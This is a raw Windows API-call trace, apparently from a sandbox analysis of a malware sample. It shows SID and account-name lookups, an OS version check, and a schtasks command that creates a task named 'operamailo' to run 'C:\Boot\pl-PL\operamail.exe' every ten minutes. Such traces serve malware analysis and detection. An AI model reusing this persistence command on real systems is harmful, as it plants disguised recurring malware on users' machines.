(pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.198] GetLengthSid (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0135.198] malloc (_Size=0x1c) returned 0x2b0000 [0135.198] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.198] GetSidIdentifierAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b2 [0135.198] malloc (_Size=0x18) returned 0x2aefa0 [0135.198] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0135.198] malloc (_Size=0x18) returned 0x2af0c0 [0135.198] malloc (_Size=0x18) returned 0x2aefc0 [0135.198] SysStringLen (param_1="S-1-") returned 0x4 [0135.198] SysStringLen (param_1="5") returned 0x1 [0135.198] memcpy (in: _Dst=0x1397d8, _Src=0x139748, _Size=0xa | out: _Dst=0x1397d8) returned 0x1397d8 [0135.198] memcpy (in: _Dst=0x1397e0, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1397e0) returned 0x1397e0 [0135.198] free (_Block=0x2aefa0) [0135.198] free (_Block=0x2af0c0) [0135.198] GetSidSubAuthorityCount (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2b1 [0135.198] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0135.199] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0135.199] malloc (_Size=0x18) returned 0x2af0c0 [0135.199] malloc (_Size=0x18) returned 0x2aefa0 [0135.199] SysStringLen (param_1="S-1-5") returned 0x5 [0135.199] SysStringLen (param_1="-") returned 0x1 [0135.199] memcpy (in: _Dst=0x1398f8, _Src=0x1397d8, _Size=0xc | out: _Dst=0x1398f8) returned 0x1398f8 [0135.199] memcpy (in: _Dst=0x139902, _Src=0x139748, _Size=0x4 | out: _Dst=0x139902) returned 0x139902 [0135.199] free (_Block=0x2aefc0) [0135.199] free (_Block=0x2af0c0) [0135.199] malloc (_Size=0x18) returned 0x2af0c0 [0135.199] malloc (_Size=0x18) returned 0x2aefc0 [0135.199] SysStringLen (param_1="S-1-5-") returned 0x6 [0135.199] SysStringLen (param_1="21") returned 0x2 [0135.199] memcpy (in: _Dst=0x139748, _Src=0x1398f8, _Size=0xe | out: _Dst=0x139748) returned 0x139748 [0135.199] memcpy (in: _Dst=0x139754, _Src=0x1397d8, _Size=0x6 | out: _Dst=0x139754) returned 0x139754 [0135.199] free (_Block=0x2aefa0) [0135.199] free (_Block=0x2af0c0) [0135.200] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0135.200] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0135.200] malloc (_Size=0x18) returned 0x2af0c0 [0135.200] malloc (_Size=0x18) returned 0x2aefa0 [0135.200] SysStringLen (param_1="S-1-5-21") returned 0x8 [0135.200] SysStringLen (param_1="-") returned 0x1 [0135.200] memcpy (in: _Dst=0x1397d8, _Src=0x139748, _Size=0x12 | out: _Dst=0x1397d8) returned 0x1397d8 [0135.200] memcpy (in: _Dst=0x1397e8, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1397e8) returned 0x1397e8 [0135.200] free (_Block=0x2aefc0) [0135.200] free (_Block=0x2af0c0) [0135.200] malloc (_Size=0x18) returned 0x2af0c0 [0135.200] malloc (_Size=0x18) returned 0x2aefc0 [0135.200] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0135.200] SysStringLen (param_1="4219442223") returned 0xa [0135.200] memcpy (in: _Dst=0x118218, _Src=0x1397d8, _Size=0x14 | out: _Dst=0x118218) returned 0x118218 [0135.200] memcpy (in: _Dst=0x11822a, _Src=0x139748, _Size=0x16 | out: _Dst=0x11822a) returned 0x11822a [0135.201] free (_Block=0x2aefa0) [0135.201] free (_Block=0x2af0c0) [0135.201] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0135.201] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0135.201] malloc (_Size=0x18) returned 0x2af0c0 [0135.201] malloc (_Size=0x18) returned 0x2aefa0 [0135.201] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0135.201] SysStringLen (param_1="-") returned 0x1 [0135.201] memcpy (in: _Dst=0x1175e8, _Src=0x118218, _Size=0x28 | out: _Dst=0x1175e8) returned 0x1175e8 [0135.201] memcpy (in: _Dst=0x11760e, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x11760e) returned 0x11760e [0135.201] free (_Block=0x2aefc0) [0135.201] free (_Block=0x2af0c0) [0135.201] malloc (_Size=0x18) returned 0x2af0c0 [0135.201] malloc (_Size=0x18) returned 0x2aefc0 [0135.201] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0135.201] SysStringLen (param_1="4223814209") returned 0xa [0135.201] memcpy (in: _Dst=0x12d808, _Src=0x1175e8, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0135.201] memcpy (in: _Dst=0x12d830, _Src=0x1397d8, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0135.202] free (_Block=0x2aefa0) [0135.202] free (_Block=0x2af0c0) [0135.202] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0135.202] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0135.202] malloc (_Size=0x18) returned 0x2af0c0 [0135.202] malloc (_Size=0x18) returned 0x2aefa0 [0135.202] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0135.202] SysStringLen (param_1="-") returned 0x1 [0135.202] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0135.202] memcpy (in: _Dst=0x12db74, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0135.202] free (_Block=0x2aefc0) [0135.202] free (_Block=0x2af0c0) [0135.202] malloc (_Size=0x18) returned 0x2af0c0 [0135.202] malloc (_Size=0x18) returned 0x2aefc0 [0135.202] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0135.202] SysStringLen (param_1="3835049652") returned 0xa [0135.202] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0135.203] memcpy (in: _Dst=0x12d846, _Src=0x1397d8, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0135.203] free (_Block=0x2aefa0) [0135.203] free (_Block=0x2af0c0) [0135.203] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0135.203] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0135.203] malloc (_Size=0x18) returned 0x2af0c0 [0135.203] malloc (_Size=0x18) returned 0x2aefa0 [0135.203] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0135.203] SysStringLen (param_1="-") returned 0x1 [0135.203] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0135.203] memcpy (in: _Dst=0x12db8a, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0135.203] free (_Block=0x2aefc0) [0135.203] free (_Block=0x2af0c0) [0135.203] malloc (_Size=0x18) returned 0x2af0c0 [0135.203] malloc (_Size=0x18) returned 0x2aefc0 [0135.203] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0135.203] SysStringLen (param_1="1000") returned 0x4 [0135.203] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0135.204] memcpy (in: _Dst=0x12d85c, _Src=0x1397d8, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0135.204] free (_Block=0x2aefa0) [0135.204] free (_Block=0x2af0c0) [0135.204] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0135.204] malloc (_Size=0x5e) returned 0x2b08a0 [0135.204] free (_Block=0x2aefc0) [0135.204] malloc (_Size=0x18) returned 0x2aefc0 [0135.204] free (_Block=0x2b08a0) [0135.204] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0135.206] GetLastError () returned 0x7a [0135.206] malloc (_Size=0x14) returned 0x2af0c0 [0135.206] malloc (_Size=0x16) returned 0x2aefa0 [0135.206] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca84, ReferencedDomainName=0x2aefa0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0135.206] malloc (_Size=0x18) returned 0x2af0e0 [0135.207] malloc (_Size=0x18) returned 0x2af000 [0135.207] free (_Block=0x2af0c0) [0135.207] free (_Block=0x2aefa0) [0135.207] free (_Block=0x2b0000) [0135.207] free (_Block=0x2af000) [0135.207] free (_Block=0x2af0e0) [0135.207] free (_Block=0x2aefc0) [0135.208] free (_Block=0x2ae2a0) [0135.208] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0135.208] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0135.208] GetLastError () returned 0x7a [0135.208] malloc (_Size=0x2c) returned 0x2ae2e0 [0135.208] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0135.208] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.208] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0135.208] malloc (_Size=0x1c) returned 0x2b0000 [0135.208] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b0000, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b0000*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0135.208] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0135.208] malloc (_Size=0x18) returned 0x2aefc0 [0135.208] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0135.208] malloc (_Size=0x18) returned 0x2af0e0 [0135.208] malloc (_Size=0x18) returned 0x2af000 [0135.209] SysStringLen (param_1="S-1-") returned 0x4 [0135.209] SysStringLen (param_1="5") returned 0x1 [0135.209] memcpy (in: _Dst=0x139748, _Src=0x1398f8, _Size=0xa | out: _Dst=0x139748) returned 0x139748 [0135.209] memcpy (in: _Dst=0x139750, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x139750) returned 0x139750 [0135.209] free (_Block=0x2aefc0) [0135.209] free (_Block=0x2af0e0) [0135.209] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0135.209] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0135.209] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0135.209] malloc (_Size=0x18) returned 0x2af0e0 [0135.209] malloc (_Size=0x18) returned 0x2aefc0 [0135.209] SysStringLen (param_1="S-1-5") returned 0x5 [0135.209] SysStringLen (param_1="-") returned 0x1 [0135.209] memcpy (in: _Dst=0x1397d8, _Src=0x139748, _Size=0xc | out: _Dst=0x1397d8) returned 0x1397d8 [0135.209] memcpy (in: _Dst=0x1397e2, _Src=0x1398f8, _Size=0x4 | out: _Dst=0x1397e2) returned 0x1397e2 [0135.209] free (_Block=0x2af000) [0135.209] free (_Block=0x2af0e0) [0135.209] malloc (_Size=0x18) returned 0x2af0e0 [0135.209] malloc (_Size=0x18) returned 0x2af000 [0135.209] SysStringLen (param_1="S-1-5-") returned 0x6 [0135.209] SysStringLen (param_1="21") returned 0x2 [0135.210] memcpy (in: _Dst=0x1398f8, _Src=0x1397d8, _Size=0xe | out: _Dst=0x1398f8) returned 0x1398f8 [0135.210] memcpy (in: _Dst=0x139904, _Src=0x139748, _Size=0x6 | out: _Dst=0x139904) returned 0x139904 [0135.210] free (_Block=0x2aefc0) [0135.210] free (_Block=0x2af0e0) [0135.210] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0135.210] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0135.210] malloc (_Size=0x18) returned 0x2af0e0 [0135.210] malloc (_Size=0x18) returned 0x2aefc0 [0135.210] SysStringLen (param_1="S-1-5-21") returned 0x8 [0135.210] SysStringLen (param_1="-") returned 0x1 [0135.210] memcpy (in: _Dst=0x139748, _Src=0x1398f8, _Size=0x12 | out: _Dst=0x139748) returned 0x139748 [0135.210] memcpy (in: _Dst=0x139758, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x139758) returned 0x139758 [0135.210] free (_Block=0x2af000) [0135.210] free (_Block=0x2af0e0) [0135.210] malloc (_Size=0x18) returned 0x2af0e0 [0135.210] malloc (_Size=0x18) returned 0x2af000 [0135.210] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0135.210] SysStringLen (param_1="4219442223") returned 0xa [0135.210] memcpy (in: _Dst=0x118218, _Src=0x139748, _Size=0x14 | out: _Dst=0x118218) returned 0x118218 [0135.210] memcpy (in: _Dst=0x11822a, _Src=0x1398f8, _Size=0x16 | out: _Dst=0x11822a) returned 0x11822a [0135.210] free (_Block=0x2aefc0) [0135.211] free (_Block=0x2af0e0) [0135.211] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0135.211] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0135.211] malloc (_Size=0x18) returned 0x2af0e0 [0135.211] malloc (_Size=0x18) returned 0x2aefc0 [0135.211] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0135.211] SysStringLen (param_1="-") returned 0x1 [0135.211] memcpy (in: _Dst=0x1175e8, _Src=0x118218, _Size=0x28 | out: _Dst=0x1175e8) returned 0x1175e8 [0135.211] memcpy (in: _Dst=0x11760e, _Src=0x139748, _Size=0x4 | out: _Dst=0x11760e) returned 0x11760e [0135.211] free (_Block=0x2af000) [0135.211] free (_Block=0x2af0e0) [0135.211] malloc (_Size=0x18) returned 0x2af0e0 [0135.211] malloc (_Size=0x18) returned 0x2af000 [0135.211] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0135.211] SysStringLen (param_1="4223814209") returned 0xa [0135.211] memcpy (in: _Dst=0x12db38, _Src=0x1175e8, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0135.211] memcpy (in: _Dst=0x12db60, _Src=0x139748, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0135.211] free (_Block=0x2aefc0) [0135.211] free (_Block=0x2af0e0) [0135.211] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0135.211] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0135.212] malloc (_Size=0x18) returned 0x2af0e0 [0135.212] malloc (_Size=0x18) returned 0x2aefc0 [0135.212] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0135.212] SysStringLen (param_1="-") returned 0x1 [0135.212] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0135.212] memcpy (in: _Dst=0x12d844, _Src=0x139748, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0135.212] free (_Block=0x2af000) [0135.212] free (_Block=0x2af0e0) [0135.212] malloc (_Size=0x18) returned 0x2af0e0 [0135.212] malloc (_Size=0x18) returned 0x2af000 [0135.212] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0135.212] SysStringLen (param_1="3835049652") returned 0xa [0135.212] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0135.212] memcpy (in: _Dst=0x12db76, _Src=0x139748, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0135.212] free (_Block=0x2aefc0) [0135.212] free (_Block=0x2af0e0) [0135.212] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0135.212] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0135.212] malloc (_Size=0x18) returned 0x2af0e0 [0135.212] malloc (_Size=0x18) returned 0x2aefc0 [0135.212] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0135.213] SysStringLen (param_1="-") returned 0x1 [0135.213] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0135.213] memcpy (in: _Dst=0x12d85a, _Src=0x139748, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0135.213] free (_Block=0x2af000) [0135.213] free (_Block=0x2af0e0) [0135.213] malloc (_Size=0x18) returned 0x2af0e0 [0135.213] malloc (_Size=0x18) returned 0x2af000 [0135.213] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0135.213] SysStringLen (param_1="1000") returned 0x4 [0135.213] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0135.213] memcpy (in: _Dst=0x12db8c, _Src=0x139748, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0135.213] free (_Block=0x2aefc0) [0135.213] free (_Block=0x2af0e0) [0135.213] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0135.213] malloc (_Size=0x5e) returned 0x2b08a0 [0135.213] free (_Block=0x2af000) [0135.213] malloc (_Size=0x18) returned 0x2af000 [0135.214] free (_Block=0x2b08a0) [0135.214] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0135.215] GetLastError () returned 0x7a [0135.215] malloc (_Size=0x14) returned 0x2af0e0 [0135.215] malloc (_Size=0x16) returned 0x2aefc0 [0135.215] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0e0, cchName=0xe7ca94, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0135.215] malloc (_Size=0x18) returned 0x2aefa0 [0135.215] malloc (_Size=0x18) returned 0x2af0c0 [0135.216] free (_Block=0x2af0e0) [0135.216] free (_Block=0x2aefc0) [0135.216] free (_Block=0x2b0000) [0135.216] free (_Block=0x2af0c0) [0135.216] free (_Block=0x2aefa0) [0135.216] free (_Block=0x2af000) [0135.216] free (_Block=0x2ae2e0) [0135.217] malloc (_Size=0x48) returned 0x2ad220 [0135.217] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0135.221] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0135.222] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0135.222] malloc (_Size=0x18) returned 0x2af000 [0135.222] CreateEnvironmentBlock () returned 0x1 [0135.229] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0135.229] malloc (_Size=0x18) returned 0x2aefa0 [0135.229] CreateProcessAsUserW (in: hToken=0x2dc, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x16ec00, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"operamailo\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf38, dwThreadId=0xf3c)) returned 1 [0135.235] CloseHandle (hObject=0x2f8) returned 1 [0135.235] CloseHandle (hObject=0x248) returned 1 [0135.235] free (_Block=0x2aefa0) [0135.235] DestroyEnvironmentBlock () returned 0x1 [0135.235] malloc (_Size=0x48) returned 0x2ad270 [0135.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x1f9b07e0, dwHighDateTime=0x1d8a92a)) [0135.235] SetEvent (hEvent=0x1f0) returned 1 [0135.236] CloseHandle (hObject=0x2d0) returned 1 [0135.236] CloseHandle (hObject=0x2dc) returned 1 [0135.297] RtlAllocateHeap 